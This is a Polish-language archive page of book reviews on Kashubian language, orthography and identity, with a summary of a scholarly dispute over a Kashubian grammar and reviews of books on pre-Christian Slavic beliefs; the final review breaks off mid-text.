Archiwum kategorii: Recenzëjô

Pismo w dyskursie narodowym

Refleksje po lekturze książki Artura Stęplewskiego

Dla mnie, osoby od 30 lat uczestniczącej w procesie standaryzacji języka kaszubskiego z perspektywy dziennikarza i literata, książka Artura Stęplewskiego „Semioza pisma. Cyrylica i łacinka w serbskim i chorwackim dyskursie narodowym na tle słowiańskim” jest swego rodzaju odkryciem nowego/starego terytorium, po którym stąpałem od dawna, kierując się intuicją i doświadczeniem, lecz nie potrafiłem do końca go nazwać i opisać. To lektura dla każdego – językoznawców i laików w tej dziedzinie, i choć Kaszubi i język kaszubski pojawiają się na kartach tej książki jedynie w sposób kontekstowy, to warto po nią sięgnąć, by wiedzieć, że nasze problemy z językiem, jego ortografią i standaryzacją nie są niczym wyjątkowym w świecie słowiańskim.

Pierwsza część publikacji omawia pismo jako „obraz języka i znak kultury”, zaś druga poświęcona jest „słowiańskim zmaganiom z pismem i grafią”. Najwięcej miejsca autor poświęca, oczywiście, casusom serbskiego i chorwackiego – opierając się na najnowszych XX- oraz XXI-wiecznych przykładach tych dyskursów narodowych, ale jednocześnie umiejętnie sięga po szeroką paletę przykładów z dyskursów innych narodów słowiańskich: tych najdawniejszych, pansłowiańskich wizji jednego języka z wieloma narzeczami, jak również tych najnowszych, śląskich dążeń do ustandaryzowania własnego etnolektu.

W kontekście pansłowiańskim, dla czytelnika Kaszuby, ciekawe wydają się ocena postaci i opis ideologii Aleksandra Hilferdinga. Artur Stęplewski nazywa go „postacią pierwszoplanową w świecie słowiańskim, którą z czasem jednak wymazywała historiografia rosyjska”, a jego działania na Kowieńszczyźnie, Żmudzi, na Kaszubach i wśród Słowian południowych określa jako przejaw rusyfikacji, mającej „wzmacniać pozycję Rosji i rozszerzać jej strefy wpływu”. Z równie dużą uwagą czyta się o tezach, jakie formował Ján Kollár, którego założenie, „że wszyscy oświeceni Słowianie będą studiować staro-cerkiewno-słowiański, aby poznawać zasady gramatyki i leksyki słowiańskiej”, co zbliży ich „do rozumienia innych narzeczy współczesnych, nie tracąc (w każdym razie w początkowym okresie formowania się wspólnej kultury Słowian) indywidualnych, etnicznych cech językowych”, autor książki określa jako poszukiwanie „złotego środka”.

Pisząc o próbach tworzenia zasad normatywnych dla śląszczyzny, A. Stęplewski obszernie omawia „projekt ortograficzny” prowadzony pod kierownictwem Jolanty Tambor. Swoje uwagi na ten temat autor książki kończy następującym stwierdzeniem: „Działacze śląscy, przewidując, że proces normalizowania idiomu wymaga wielu lat pracy związanej m.in. z obserwacją praktyki codziennej w stosowaniu ortografii, przyjęli – co stanowi rzadkość w procesach narodowotwórczych – nieograniczony czas przyswajania normy graficznej. Najprawdopodobniej wynika to z faktu, że idiom śląski, wobec braku akceptacji przez władze i parlament polski, nie stanie się w najbliższym czasie przedmiotem szkolnego nauczania”.

Czy, w związku z tym, ortografia języków będących „przedmiotem szkolnego nauczania” nie jest poddawana zmianom i modyfikowana? Historia i współczesność narodów słowiańskich, widziana w kontekście ich zmagań z pismem i grafią, od Bałtyku po Morze Czarne pokazuje, że procesy takie zachodzą permanentnie, chociaż nie bezboleśnie. Piszę o tym, ponieważ podobne dyskusje toczone są na Kaszubach, od czasu stworzenia pierwszej ortografii przez Floriana Ceynowę co kilkadziesiąt lat i wracają współcześnie w kontekście krytyki, z jaką spotykają się ustalenia komisji do spraw pisowni z 1996 r. Coraz głośniej podnoszona jest kwestia potrzeby modyfikacji zapisu języka kaszubskiego w stronę jego „klasycznej” ortografii, a więc tej stosowanej przez Aleksandra Majkowskiego w „Żëcim ë przigòdach Remùsa” czy Zrzeszyńców w piśmie „Zrzesz Kaszëbskô”, a także Friedricha Lorentza w gazecie „Bënë ë Bùten” oraz w jakiejś mierze również przez redaktorów pisma „Tatczëzna”. Postulaty te podnoszą najmłodsi użytkownicy języka kaszubskiego: literaci, tłumacze, ludzie pióra, z Maciejem Bandurem, redaktorem pisma „Skra”, na czele.

Po lekturze pracy Artura Stęplewskiego, dającej tak szeroki słowiański kontekst, muszę przyznać, iż lepiej rozumiem roszczenia młodych Kaszubów i skłaniam się w stronę ich postulatów, mimo że jestem jednym z sygnatariuszy kompromisowego porozumienia w sprawie pisowni kaszubskiej z 1996 r. Myśląc w kategoriach kultury narodowej, pismu i jego grafii przypisuje bowiem rolę jednego z symboli scalających wspólnotę. Uważam, iż ortografia z 1996 r. spełniła swoją rolę, gdy chodziło o coś, co A. Stęplewski odnosi „do konieczności potwierdzenia wartości funkcjonalnych i estetycznych języka X wobec uznanych już, pozostałych języków”. Jest ona jednak, pomimo deklaracji towarzyszących podpisaniu wspomnianego porozumienia, wciąż ortografią opartą na założeniu, które za A. Stęplewskim, opisującym sytuację idiomu śląskiego, można parabolicznie scharakteryzować w ten sposób, że „ bierne nawyki szkolne (tzn. polskie) ułatwiają (…) wzrokowe identyfikowanie leksemów, jednak, z punktu widzenia językoznawstwa porównawczego i historycznego, stosując taką ortografię, [kaszubski – wtrącenie moje] nadal pozostanie dialektem lub derywatem polskiej odmiany ogólnej”.

Pamiętajmy, na co również zwraca uwagę autor omawianej publikacji, że „wbrew deklaracjom badaczy, którzy zakładali prymat języka werbalnego nad wersją wizualną, w praktyce analizie podlega graficzny obraz języka jako przykład jego bardziej świadomego i rozpowszechnionego użycia”. Zależy mi na rozwoju wspólnoty narodowej Kaszubów i dlatego uważam, że nie powinniśmy się bać tego, że pismo funkcjonować będzie jako znak naszego upodmiotowienia.

Ponad 280-stronicowa Publikacja „Semioza pisma. Cyrylica i łacinka w serbskim i chorwackim dyskursie narodowym na tle słowiańskim” autorstwa Artura Stęplewskiego, slawisty i polonisty z Zakładu Slawistyki Kulturoznawczej Uniwersytetu im. Adama Mickiewicza w Poznaniu, ukazała się pod koniec 2018 r. dzięki Wydawnictwu Naukowemu UAM.

Artur Stęplewski

Recenzëjô: Walka o tożsamość, znaki i znaczenia

Adela Kożyczkowska, jak sama zaznacza, traktuje kaszubszczyznę „jako egzemplifikację pewnego projektu kulturowego”, którego „przestrzeń konstruują dwa główne projekty intelektualne” koncentrujące się na dwóch tożsamościach Kaszubów, nazywanych przez autorkę: „polonocentryczną” i „kaszubocentryczną”. Kożyczkowska przyznaje, iż niewystarczająca znajomość kultury niemieckiej była przyczyną, dla której zrezygnowała z badania relacji kaszubsko – niemieckich, a tym samym „niemieckocentrycznej” tożsamości Kaszubów, ale ma nadzieję – podobnie jak i ja – że w przyszłości ktoś ten temat podejmie.

Książka Adeli Kożyczkowskiej: Kaszubszczyzna. Pedagogicznie o języku i tożsamości, wydana staraniem Wydawnictwa Uniwersytetu Gdańskiego w lutym 2019 r., choć jest pozycją naukową, to z pewnością zainteresuje każdego, komu bliskie są rozważania nad językiem, kulturą i tożsamością. Niech nie zniechęca nikogo „pedagogiczne” podejście do tematu – wszak autorka jest adiunktem w Zakładzie Pedagogiki Ogólnej Instytutu Pedagogiki UG – gdyż szczegółowe rozważania dydaktyczne, których moglibyśmy się spodziewać, zastąpione zostały przemyśleniami „wpływu pewnych koncepcji, idei, wyborów identyfikacyjnych i tożsamościowych na kondycję ludzką”, jak ujęła to we fragmencie swojej recenzji, umieszczonym na 4. stronie okładki, prof. dr hab. Jolanta Tambor.

Ten, kto szukałby w omawianej książce szerokiego przedstawienia tytułowego zagadnienia, tzn. rozważań o takich cegiełkach kultury, jakimi są np.: literatura, pamięć historyczna, religia czy tradycja, nie znajdzie tego w tekście publikacji, ponieważ przedmiot swoich badań A. Kożyczkowska zawęża do „wiedzy o języku” w kontekście „praktyk kulturowych, których celem jest konstruowanie tożsamości”. To założenie sprawia, że tekst staje się klarowny, zaś tezy autorki – stawiane w kontekście edukacyjnym, rozumianym jako „polityczne organizowanie wiedzy i doświadczeń młodych” – czyni niezwykle spójnymi.

Wśród wielu założeń, które Kożyczkowska poczyniła, przystępując do opisania swoich badań (o których pisze we wstępie i rozdziale 1. poświęconym przyjętej metodologii), jest i takie, by czytelnik traktował przytoczone pod konkretnym nazwiskiem, słowa i wypowiedzi jako „stanowiska teoretyczne”. Chodzi więc o to, by nie utożsamiać ich z konkretną osoba, lecz „autorem, który mówi zawsze z pola jakiejś hegemonii”. Poprzez przyjęcie takiej perspektywy w tekście książki swoje poglądy odnajdą z łatwości zarówno te osoby, które były uczestnikami konkretnych „praktyk kulturowych”, jak również ci czytelnicy, którzy chcą się utożsamiać z jakąś „nieuosobioną” ideą.

Z każdą kolejną stroną swojej pracy A. Kożyczkowska udowadnia, że nie ma przesady w przyjętej przez autorkę tezie, iż kaszubszczyzna to „permanentna pedagogia, czyli sfera, w której toczy się walka (?), gra (?) o znaki i znaczenia (…), o tożsamość”. Tę walkę prowadzą ze sobą dwa „intelektualne modele kaszubszczyzny”. Jeden z nich jest konsekwentnie „zamknięty na różnice kulturowe” i wynika z lęku „przyznania się do własnego rozróżnienia od większości – w tym przypadku – polskiej”. Drugi jest jak najbardziej otwarty na kulturowe różnice: „tylko uznając różnicę, można uznać wielokulturową naturę świata”, można „świadomie zabiegać o własną tożsamość etniczną”.

Gdańska pedagożka przedstawia swoje teorie bez emocji, które zwykle towarzyszą omawianiu różnych kaszubskich tożsamości, a przez to, w większości przypadków, sięga sedna przeciwstawnych postaw Kaszubskich elit – ich przyczyn i skutków. Tekst jest znakomitą syntezą zarówno jednego z dyskursów – rozpoczętego przez Floriana Ceynowę, a kontynuowanego obecnie przez stowarzyszenie Kaszëbskô Jednota, jak i drugiego – zapoczątkowanego przez Hieronima Derdowskiego, a dziś odbijającego się w zwierciadle „Ustawy o mniejszościach narodowych i etnicznych oraz o języku regionalnym”. Tylko w jednym miejscu, takie jest moje zdanie, autorka nie trafia z właściwą interpretacją, gdy wysuwa tezę, iż uchwała II Kongresu Kaszubskiego, który odbył się w 1992 r. w Gdańsku, a w szczególności wystąpienie Donalda Tuska na II Kongresie Kaszubskim, który przekonywał by Kaszubi „zwiększyli swą współodpowiedzialność” za „los ogółu” obywateli, były tezami stanowiącymi „spiritus movens programu ideowego Òdrodë”.

Adela Kożyczkowska w książce Kaszubszczyzna. Pedagogicznie o języku i tożsamości przekazuje nam przemyślane, kompetentnie napisane, syntetyczne spojrzenie na ważny i wciąż aktualny problem miejsca kaszubszczyzny w zmieniającej się rzeczywistości. Symbolicznym tego wyrazem może być pierwsza strona okładki. Kilka fotografii mężczyzn w mundurach różnych armii, a także rodzin zgromadzonych na religijnych rytuałach chrztu i komunii, mogą uświadamiać, jak skomplikowana to rzeczywistość na pograniczu kultur i religii. Sama autorka przyznaje, iż swoją książką chce „włączyć dyskurs tożsamości kaszubskiej w przestrzeń pedagogiki międzykulturowej”, gdyż sama tylko optyka kaszubskiej edukacji regionalnej nie jest wystarczająca. To zadanie, w moim przekonaniu, omawiana książka spełnia, ponieważ w znaczący sposób oświetla oba omawiane kaszubskie projekty tożsamościowe oraz poszerza horyzonty projektu kaszubocentrycznego.

Adela Kożyczkowska, 2019, Kaszubszczyzna. Pedagogicznie o języku i tożsamości,Gdańsk: Wydawnictwo Uniwersytetu Gdańskiego, s. 276.

Prof. L. Jocz: Obiekcje co do „Gramaticzi” są jak najbardziej uzasadnione

Żywiołowa debata wokół Gramaticzi kaszëbsczégò jãzëka dr Hanny Makurat zaczęła się co najmniej od ukazania się w maju 2017 r. recenzji tej książki autorstwa Macieja Bandura i trwa do chwili obecnej. Nie jest to bynajmniej dyskusja jedynie dla wąskiego grona specjalistów czy aktywistów językowych, lecz sprawa istotnej wagi dla całego środowiska kaszubskiego, a zwłaszcza środowisk związanych z nauczaniem języka kaszubskiego, albowiem niniejsza publikacja ma być de facto używana w edukacji na różnym szczeblu i ma służyć za swego rodzaju odnośnik, wyznacznik i kompleksowe źródło wiedzy o strukturze języka kaszubskiego dla nauczycieli, studentów, uczniów, pisarzy, dziennikarzy etc.

Na wyżej wspomnianą krytykę Gramaticzi… dr Makurat zareagowała, zamieszczając odpowiedź pod artykułem na portalu SKRË jak też na własnym profilu na portalu Facebook. Niedawno, bo w grudniu 2018, przeredagowaną wersję tejże odpowiedzi pt. Gramatika kaszëbsczégò jãzëka – rozpoznanie i opracowanie struktury współczesnego literackiego języka kaszubskiego. Odpowiedź na głosy krytyki autorka opublikowała w czasopiśmie Studia z Filologii Polskiej i Słowiańskiej, pomijając jednak zupełnie fakt, że już ponad rok temu SKRA opublikowała obszerną odpowiedź na jej replikę, a prof. Lechosław Jocz, obecnie czołowy badacz fonetyki i fonologii kaszubskiej, niezależnie opublikował własną recenzję jej książki w sierpniu 2017. O istnieniu obu tekstów, jak wykazuje prof. Jocz, autorka niechybnie musiała wiedzieć.

Jego drugi głos w dyskusji, który publikuje w dniu dzisiejszym, jest reakcją na wyżej wspomniane próby obrony swojej pracy przez dr Makurat. W najnowszej publikacji czytamy m.in.:

Rzeczony numer SFPS ukazał się 24 grudnia 2018 i – jak poinformowała mnie redakcja – do tego dnia możliwe było dokonanie ostatnich poprawek w artykule lub jego wycofanie. Autorka miała więc co najmniej ponad 15 miesięcy, aby uzupełnić swój artykuł o odniesienia do drugiego tekstu Bandura lub choćby wspomnieć o jego istnieniu. Komentarz Bandura zbija (jak zobaczymy) większość argumentów Makurat, jego przemilczenie nie wydaje się więc niestety przypadkowe. Autorka nie zdecydowała się zresztą wspomnieć również o mojej recenzji (Jocz 2017), udostępnionej publiczności 26 sierpnia 2017 i dostrzeżonej w środowisku.

Recenzent zwraca uwagę na wiele pozamerytorycznych strategii argumentacji dr Makurat, które mają niestety na celu wyłącznie manipulację czytelnikiem. Trzon tej pracy jest jednak poświęcony kwestiom merytorycznym, w tym sprawom, które były przedmiotem wymiany zdań między Bandurem a dr Makurat.

Powyżej omówiłem łącznie 13 zjawisk, co do których Makurat nie przyjęła krytyki Bandura, w znacznej części przypadków w bardzo zdecydowanej formie, okraszonej uwagami ad personam, negującymi kompetencje czy niemal zdrowy rozsądek recenzenta. Okazuje się jednak, że co do 12 z 13 zjawisk uwagi i obiekcje Bandura są jak najbardziej uzasadnione.

Na koniec prof. Jocz przechodzi do kwestii ogólnych i metodologicznych niedostrzeżonych przez wcześniejszego recenzenta, m.in.:

Od nowoczesnej gramatyki jakiegokolwiek języka, a zwłaszcza od gramatyki nadal powstającego i dopiero krystalizującego się języka literackiego (a za taki powszechnie uważana jest kaszubszczyzna), oczekiwałbym przede wszystkim eksplicytnego określenia podstawy materiałowej (np. zdefiniowanego korpusu tekstów pisanych), jasnej charakterystyki pod względem deskryptywności i preskryptywności oraz precyzyjnego zdefiniowania strategii kodyfikacyjnych (np. zasad wyboru preferowanych form w przypadku stwierdzenia wariantów). W samym opracowaniu gramatycznym wyznaczone zakresy materiałowe i ogólne postawy normalizatorskie, jak również szczegółowe zasady i reguły wyboru form powinny być przez autora konsekwentnie przestrzegane. Oczywiście najlepiej jest, jeśli wszystkie tego rodzaju założenia metodologiczne oparte są na jakichś spójnych i rozsądnych podstawach i koncepcjach. Korpus można np. zdefiniować jako dzieła literackie powstałe po roku X, dzieła autorów urodzonych po roku Y, utwory jakiejś konkretnej grupy czy szkoły literackiej, ostatnie dwadzieścia roczników czasopisma Z itd. W przypadkach wymagających rozstrzygnięć wybór może padać na formy częstsze, rodzime, bardziej archaiczne, typowe dla jakiegoś obszaru itp. lub decydować może o nim jakiś zhierarchizowany układ tych czy podobnych cech. Tego typu informacji w gramatyce Makurat właściwie nie odnajdujemy.

(…)

Zresztą sama Makurat chyba tak do końca nie wie, czy jej Gramatika jest deskryptywna, czy preskryptywna. Z jednej strony twierdzi ona, iż nic nie tworzy, a opisuje i prezentuje uzus i język, który realnie istnieje, naukowo przez siebie zbadany (patrz wyżej). Z drugiej w samym tekście gramatyki trafiamy niejednokrotnie na sformułowania w rodzaju „forma X nie jest zalecana do użycia (w języku literackim)”.

(…)

Makurat stosuje kryterium wieku publikacji bardzo wybiórczo i instrumentalnie, w zależności od potrzeby chwili. Lorentz, jak już wiemy, ma być na tyle przestarzały, że wszelkie porównania z nim są błędem metodologicznym. Jeżeli zaś trzeba odeprzeć obiekcje recenzenta wobec przyimka (341; patrz wyżej), to przestarzałe nie są teksty Floriana Ceynowy (1817-1881), Hieronima Derdowskiego (1852-1902), Aleksandra Majowskiego (1876-1938) czy Alojzego Budzisza (1874-1934), a więc nawet dziewiętnastowieczne. Jeżeli Bandur stwierdza niezgodności z materiałem Sychty (który materiały do swego słownika zbierał w latach 50 wieku 20), to okazuje się, że „język kaszubski – zwłaszcza w ciągu ostatnich 30 lat – ewoluował i dynamicznie się rozwinął” (339). Nie przeszkadza to uwzględniać w Gramatice wyników m.in. badań nad twórczością grupy młodokaszubów (335-336), czyli Jana Karnowskiego (1886-1939), Aleksandra Majkowskiego (1876-1938) czy Leona Heyke (1885-1939), którzy swoją kompetencję językową nabyli pod koniec 19 wieku.

Na koniec prof. Jocz apeluje o bardziej profesjonalne podejście do debaty:

Krytyka jest nieodzownym elementem nauki, bez którego nie byłby możliwy żaden rozwój. Merytoryczna debata naukowa wymaga uwzględniania między innymi dwóch zasad. Po pierwsze krytyki nie można ani formułować, ani odbierać osobiście, jako ataku na osobę. Obiektem krytyki tekstu naukowego są założenia, idee, koncepcje, twierdzenia, poprawność wnioskowania, spójność logiczna itp. itd., a nie autor jako człowiek. Po drugie do własnych tekstów należy przykładać równie krytyczne miary, co do cudzych. Unikać tu należy jak ognia emocjonalnego zżywania się ze swoimi tekstami i traktowania ich jak własnego dziecka. Niestety Hanna Makurat nie zastosowała się do żadnej z tych zasad ani jako nadawca, ani jako odbiorca, na co jednoznacznie wskazują liczne fragmenty jej artykułu zacytowane powyżej oraz następujący urywek: „Tymczasem budowanie całościowej krytyki mojej pracy niepoparte zasadnymi argumentami i niepodbudowane poprawną metodologią uważam za godzenie w moje dobre imię oraz próbę burzenia i niszczenia czegoś, co wiele lat ciężką pracą budowałam” (343). Pozostaje mi tylko wyrazić nadzieję, że po opadnięciu zbędnych emocji dyskusja wróci na właściwe tory.

Cały tekst polemiki jest dostępny TUTAJ. Tekst ukaże się niebawem również w jednym z polskich czasopism językoznawczych.

Wszystkie dotychczas opublikowane teksty dot. Gramaticzi… w porządku chronologicznym są dostępne tutaj:

14/05/2017
Bandur, M.: Czy „Gramatika kaszëbsczégò jãzëka” jest gramatyką kaszubskiego języka?

29/06/2017
Makurat, H.: Odpowiedź na głosy krytyki dotyczące mojej książki pt. „Gramatika kaszëbsczégò jãzëka” (w sekcji komentarzy)

04/07/2017
Bandur, M.: Siła tytułu naukowego większa niż siła naukowego argumentu?  „Gramatika…” z perspektywy laika raz jeszcze

26/08/2017
Jocz, L.: Gramatika kaszëbsczégò jãzëka H. Makurat oczami fonetyka

24/12/2018
Makurat, H.: Gramatika kaszëbsczégò jãzëka – rozpoznanie i opracowanie struktury współczesnego literackiego języka kaszubskiego. Odpowiedź na głosy krytyki

14/02/2019
Jocz, L.: Gramatika kaszëbsczégò jãzëka Hanny Makurat – głos w dyskusji

Recenzëjô: Pawła Szczepanika „Słowiańskie zaświaty. Wierzenia, wizje i mity”

Po raz drugi Wszechnica Triglava pozwala nam zajrzeć w świat słowiańskich wierzeń.

Paweł Szczepanik nie zabiera czytelnika w tajemniczy świat podziemnych bóstw bez przygotowania. Pierwsza część książki, na którą składają się dwa rozdziały, jest bardzo dobrym wprowadzeniem do słowiańskiej kosmologii. Począwszy od rozważań definicyjno-teoretycznych na temat mitu jako takiego, po omówienie wizji początków wszechrzeczy jak je sobie przedstawiali Słowianie, a skończywszy na kompletnej wizji ich kosmosu. Tutaj szczególnie ciekawie wypadają interpretacje porównawcze tzw. „Światowida ze Zbrucza” z szeregiem zdobień, zwłaszcza pochewek noży znajdowanych w zachodnich obszarach Słowiańszczyzny. Zarówno duży posąg jak i małe zdobienia, co Paweł Szczepanik przedstawia bardzo przekonująco, są modelami światów: uranicznego, chtonicznego oraz tego, który zamieszkują ludzie, łączących się w jeden kosmos. Autor poruszane kwestie omawia na podstawie źródeł historycznych, etnograficznych oraz archeologicznych, dodatkowo przedstawia je w trafnym, komparatystycznym ujęciu.

Kolejny rozdział to omówienie bogów związanych z zaświatami. Tutaj po raz kolejny część zasadnicza rozdziału poprzedzona jest wartościowym wprowadzeniem. By być konkretnym, chodzi o model „trzech funkcji” Georgesa Dumézila. Autor, co warto docenić, omawiając koncepcję słynnego francuskiego mitografa, unika popularnej i powierzchownej jej recepcji, przedstawiając ją z całą złożonością. Samo omówienie bóstw to opis, do jakiego przyzwyczaiły nas inne prace mitologiczne. Mamy zatem Welesa, Nyję i Marzannę oraz wszelkie ich wariacje – od św. Mikołaja na Rusi począwszy, na pomorskim Trygławie i kaszubskiej Welewetce skończywszy – opisane z całą skrupulatnością.

W dalszej części książki omawiane są wizje samych zaświatów. Nie jest to obraz spójny i jednorodny, bowiem na podstawie zróżnicowanych geograficznie i chronologicznie źródeł nasuwa się wniosek, że w różnych częściach Słowiańszczyzny wizje zaświatów różniły się od siebie. Co warto zaznaczyć, ciekawym i dotychczas rzadziej wykorzystanym materiałem były źródła arabskie. Jak pokazuje w kilku przypadkach autor, niosą one ze sobą bardzo ciekawe informacje.

Na koniec dwa mniejsze, acz równie ciekawe rozdziały. Jeden dotyczący cielesności w jej mitologicznych aspektach, drugi omawiający słowiańskie maski znajdowane podczas wykopalisk archeologicznych, interpretowane jako element kultu zmarłych.

Słowiańskie zaświaty…Pawła Szczepanika zasługują na wysoką ocenę. To pozycja, która powinna zadowolić zarówno osoby już zorientowane w temacie, jak i te, które dopiero chciałyby go zgłębić. Chociaż w tekście można trafić kilkukrotnie na literówki, nie mają one ostatecznie wpływu na przyjemność z lektury, tym bardziej, że książka napisana jest bardzo dobrą polszczyzną, łączącą w sobie styl naukowy z przejrzystością wykładu.

Interpretacje oraz płynące z nich wnioski dotyczące poszczególnych aspektów religijności Słowian trzymają się metody ściśle naukowej. Autor nie kusi się na snucie niepopartych niczym dywagacji, chociaż muszę przyznać, że odczytanie złotej zasłony na obliczu Trygława jako maski jest w moim odczuciu nieco ryzykowne.

Nauka o przedchrześcijańskich wierzeniach Słowian, dzięki poszerzaniu płaszczyzn komparatystycznych, odważnym interpretacjom znalezisk archeologicznych oraz wykorzystaniu dobrze zabezpieczonego, a jeszcze do niedawna lekceważonego materiału etnograficznego, wciąż potrafi pozytywnie zaskakiwać. Niestety często owoce pracy naukowców giną w małonakładowych, akademickich periodykach lub w trudno dostępnych materiałach pokonferencyjnych. Seria Wszechnica Triglava po raz kolejny udowadnia, że angażowanie nowego pokolenia naukowców do tworzenia dobrej jakości literatury popularnonaukowej ma ogromny sens i jest bardzo potrzebne.

Paweł Szczepanik jest archeologiem, etnologiem, doktorem nauk humanistycznych oraz adiunktem w Instytucie Archeologii Uniwersytetu Mikołaja Kopernika w Toruniu. Realizuje projekt „Religie i ich rzeczy. Analiza porównawcza wczesnośredniowiecznych przedmiotów związanych z religijnością odkrytych na terenie Polski” finansowany przez Narodowe Centrum Nauki. Jego książka Słowiańskie zaświaty… jest jedną z bardzo nielicznych prób przedstawienia tego aspektu słowiańskich wierzeń w sposób popularny, a przy tym jak najbardziej naukowy. Poświęcenie temu konkretnemu tematowi monografii, zdaje się być zupełnie wyjątkowe. Pojawienie się zatem Słowiańskich zaświatów… cieszy tym bardziej, że wizja życia pośmiertnego jest jednym z fundamentalnych problemów ludzkości. By spróbować spojrzeć na wszechświat oczami naszych pogańskich przodków, nie możemy się obyć bez ich zaświatów.

Przy okazji promocji książki Pawła Szczepanika, miał miejsce w szczecińskiej Miejskiej Bibliotece Publicznej wykład autora, niejako wprowadzający i nieco uzupełniający materiał zawarty w Słowiańskich zaświatach… Można go obejrzeć tutaj:

Kamila Kajkowskiego „Mity, kult i rytuał. O duchowości nadbałtyckich Słowian.”

Kamil Kajkowski otworzył cykl Wszechnica Triglava pozycją bardzo ciekawą i jest to dobry prognostyk dla tej serii.

Wszechnica Triglava to nowa seria Wydawnictwa Triglav, w której ukazywać się mają – jak głosi zapowiedź – teksty naukowe, popularyzujące tematy związane z dziejami Pomorzan, Słowian Zachodnich czy Słowian w ogóle, a także kultur nam nieodległych, np. związanych ze Skandynawią czy też wprost z wikingami. Jak można się domyślać po dotychczasowym profilu działalności Wydawnictwa, a także jego spiritus movens, Igora D. Górewicza, spodziewać się możemy literatury eksplorującej w zauważalnym stopniu kwestię wierzeń i duchowości. Tak właśnie jest w przypadku pierwszej pozycji tejże serii.

Autor Mitów, kultu i rytuału…, Kamil Kajkowski, jest doktorem nauk humanistycznych w zakresie archeologii oraz kustoszem w Muzeum Zachodniokaszubskim w Bytowie. Do tej pory nieco szerszemu gronu czytelników mógł być znany jako współautor książki Religia Pomorzan we wczesnym średniowieczu, napisanej razem z Andrzejem Kuczkowskim.

Zrządzeniem losu, tuż przed zakończeniem lektury nowej książki Kamila Kajkowskiego, miałem okazję wziąć udział w spotkaniu autorskim, które odbyło się 19. marca w Miejskiej Bibliotece Publicznej w Szczecinie. Pozwolę sobie tę krótką recenzję wpleść uwagi odnoszące się do tego spotkania/wykładu.

Rozpoczął je słowem wstępnym wspomniany już Igor D. Górewicz. Jedną z ważniejszych kwestii, jakie poruszył, było stwierdzenie, że naukowcy zajmujący się kwestiami duchowości Słowian wycofali się niejako z działalności popularyzatorskiej, chociaż postępy jakie czynią w swych badaniach są znaczne. Popularną przestrzeń próbują wypełnić za to spiskowe, fantastyczne i oderwane od rzeczywistości teorie Wielkiej Lechii i „wpływu Kosmosu na Mieszka I” (cytując I. D. Górewicza) – niestety z dużym sukcesem i znaczną szkodą. Seria Wszechnica Triglava ma w swej popularyzatorskiej misji opierać się przede wszystkim na autorytecie naukowym.

Mity, kult i rytuał… to w sporej części antologia dotychczasowych artykułów z wydawnictw akademickich oraz materiałów pokonferencyjnych, których dr Kamil Kajkowski jest aktywnym uczestnikiem. W samym tylko podejściu do własnych tekstów przejawia się jego naukowa rzetelność. Chociaż powstały one względnie niedawno, część zawartych w nich zagadnień już musiała zostać uaktualniona z powodu „najnowszych źródeł wykopaliskowych, trendów, ustaleń, a w kilku przypadkach sięgnięcia do źródeł pisanych dotąd jedynie wyjątkowo wykorzystywanych w badaniach nad kultem pogańskim” (za „Tytułem wstępu”, s. 8).

Ze względu na antologijną formułę zbioru, nie jest to całościowe omówienie zagadnienia religii czy mitologii Słowian nadbałtyckich, do jakich to całościowych omówień przyzwyczaili nas tacy autorzy jak – ze wszech miar klasyczny – Aleksander Gieysztor czy klasyczny wciąż jeszcze nieco mniej Andrzej Szyjewski. Jest to raczej zbiór pewnych jej aspektów – aspektów węzłowych i dobrze uchwytnych z punktu widzenia archeologii. Archeologia – co jest truizmem, ale może warto jednak tę myśl przywołać – jawi się jako jedna z ostatnich nadziei na wyrwanie przeszłości jakichkolwiek jeszcze informacji o pogańskiej słowiańszczyźnie. Mało prawdopodobne jest odnalezienie przez historyków nowych źródeł pisanych, ksiąg czy kronik – szczególnie takich, które mogłyby zrewolucjonizować nasze postrzeganie tematu. Materiał etnograficzny, który wykorzystuje się w rekonstrukcji struktury wierzeń również jest zabezpieczony w sposób, który studzi wiarę w nieznane jeszcze pokłady ludowej pamięci o dawnych bogach. Pozostaje archeologia. Ziemia wciąż skrywa wiele tajemnic, których odkrycie może cokolwiek jeszcze zmienić, dopowiedzieć, rozszerzyć horyzont, rozjaśnić tajemnice. Do tego potrzeba również archeologów, którzy nie zamykają się w swej specjalizacji, ale mają szerokie rozeznanie w literaturze historycznej i etnograficznej. Kamil Kajkowski jest niewątpliwie takim właśnie wszechstronnym archeologiem.

Jedną z pierwszych rzeczy, która rzuca się w oczy jest gargantuiczna bibliografia zajmująca pięćdziesiąt stron. Prócz żelaznego repertuaru źródeł oraz pozycji obecnie dość powszechnie uznawanych za nieodzowną klasykę (Eliade, Uspienski, Toporow, Moszyński, Tomiccy, Derwich i Cetwiński etc.) znajdziemy tam sporo literatury fachowej, archeologicznej, która zwykle umyka szerszym kręgom czytelniczym.

Na treść składa się w sumie dwanaście artykułów, zgrupowanych w cztery większe zagadnienia, tj.: Przestrzeń, Moc, Człowiek, Zwierzę. By nie rozpisywać się nadmiernie o zawartości, odsyłam do spisu treści.
Artykuły odnoszące się do przestrzeni przedstawiają w skondensowanej formie – prócz innych zagadnień – porządek kosmiczny czy też może bardziej model świata w wierzeniach Słowian. Już to na podstawie rekonstrukcji mitu kosmogonicznego, już to na podstawie organizacji przestrzeni sakralnej, która ten model i porządek stara się zwykle odtwarzać. Jest to dobry punkt wyjścia do wszelkich dalszych rozważań. Forma jednak, jak już wspomniałem, jest tu mocno skondensowana, czego możemy żałować. W czasie spotkania autorskiego bowiem omówienie tych zagadnień było znacznie szersze i bardziej szczegółowe. Sztuka materialna w postaci okuć, ostróg czy zdobień na pochewkach noży została przez autora w przekonujący sposób zinterpretowana jako odbicie tego kosmicznego porządku w mikroskali. Ciekawym było też porównanie okucia, jakie znamy z Oldenburga (wykorzystane na okładce książki), z tzw. Światowidem ze Zbrucza. Autor zastrzegł oczywiście, że kwestia autentyczności tego ostatniego jest niezmiennie tematem polemik, chociaż osobiście skłania się do uznania jego autentyczności. Kończąc ten wątek, szkoda, że te świetne przykłady sztuki materialnej niosące ze sobą treść mitologiczną, nie zostały w taki sam rozbudowany sposób zaprezentowane w książce. Dlatego jako uzupełnienie polecam obejrzenie wspominanego spotkania autorskiego (odnośnik pod recenzją).

